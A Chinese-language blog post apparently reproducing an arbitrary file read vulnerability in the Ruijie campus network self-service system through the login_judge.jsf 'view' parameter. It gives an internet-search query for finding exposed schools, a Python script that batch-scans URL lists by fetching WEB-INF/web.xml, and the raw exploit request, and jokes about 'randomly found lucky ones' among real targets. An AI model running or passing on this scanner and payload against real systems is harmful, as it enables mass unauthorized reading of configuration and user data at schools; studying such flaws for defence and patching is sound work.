【漏洞复现】锐捷校园网自助服务系统 任意文件读取

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

锐捷校园网自助服务系统是用于学校网络管理的一个平台,**login_judge.jsf**接口存在任意文件读取漏洞,意味着攻击者可能通过特定的请求访问或下载系统上的任意文件,这可能包括敏感的配置信息、用户数据等。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="校园网自助服务系统"

2.使用poc批量扫描

python 复制代码
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

# 禁用不安全的请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义颜色代码,用于输出红色文本
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查目标URL是否存在锐捷校园网自助服务系统login_judge任意文件读取漏洞。
    :param url: 目标URL
    """
    try:
        # 构造攻击URL,尝试访问WEB-INF目录下的web.xml文件
        attack_url = url.rstrip('/') + "/selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=%2e/WEB-INF/web.xml%3F"
  
        # 发送GET请求,不验证SSL证书,设置超时时间为10秒
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 判断响应状态码和响应内容是否包含特定字符串
        if response.status_code == 200 and 'web-app' in response.text:
            print(f"{RED}URL [{url}] 存在锐捷校园网自助服务系统login_judge任意文件读取漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 捕获超时异常,提示可能存在漏洞
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 捕获其他请求异常,输出错误信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    主函数,解析命令行参数并执行漏洞检测。
    """
    parser = argparse.ArgumentParser(description='检测目标地址是否存在锐捷校园网自助服务系统login_judge任意文件读取漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果提供了单个URL参数,确保其以http://或https://开头
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:
        # 如果提供了文件参数,逐行读取文件中的URL并进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

随机寻找的幸运儿

三、漏洞复现

1.构造数据包

html 复制代码
GET /selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=./WEB-INF/web.xml%3F HTTP/1.1
Host:ip

2.数据包分析

  • **GET:**表示这是一个HTTP GET请求。
  • /selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=./WEB-INF/web.xml%3F: 这是请求的URL路径。它包含了多个目录和文件名,以及一个查询参数view。查询参数的值是./WEB-INF/web.xml%3F,其中./WEB-INF/web.xml文件是Java Web应用程序的配置文件,它包含了关于Web应用程序的配置信息,%3F是问号(?)的URL编码,这个查询参数是用来指定要访问的资源或执行某些操作。
  • HTTP/1.1: 表示使用的是HTTP协议的版本1.1。
  • Host: ip: 这是一个HTTP头字段,表示请求的目标主机地址。这里的ip应该是实际的IP地址或者域名。

3.结束跑路

通过网页访问:ip/selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=./WEB-INF/web.xml%3F

通过yakit构建数据包访问

每篇一言:心向花开,何不朝夕。

相关推荐
Championship.23.245 小时前
Linux 3.0 锁机制与故障排查详解
linux·运维·服务器
QYR-分析7 小时前
机器人安全控制器行业高速扩容 本土替代迎来全新发展窗口期
人工智能·安全·机器人
风123456789~7 小时前
【Linux专栏】ls 排除某个文件
linux·运维·服务器
IpdataCloud7 小时前
担心IP暴露隐私?用安全IP查询工具自查,三步配置网络出口
网络·tcp/ip·安全·ip
xy34538 小时前
wireshark 如何捕获信息
网络·测试工具·渗透测试·wireshark
其实防守也摸鱼8 小时前
运维--学习阶段问题解答(1)(自测)
linux·运维·服务器·数据库·学习·自动化·命令模式
玖玥拾9 小时前
C# 语言进阶(十五)C# 游戏服务端 MySQL 数据库
服务器·开发语言·网络·数据库·mysql·c#
土星云SaturnCloud9 小时前
边缘计算驱动绿氢生产过程智能寻优:电解槽级实时优化技术解析
服务器·人工智能·ai·边缘计算
Darkwanderor10 小时前
对Linux的进程控制的研究
linux·运维·c++
零零信安10 小时前
AI智能体,攻守失衡的催化剂 | 零零信安
人工智能·网络安全·数据泄露·暗网·零零信安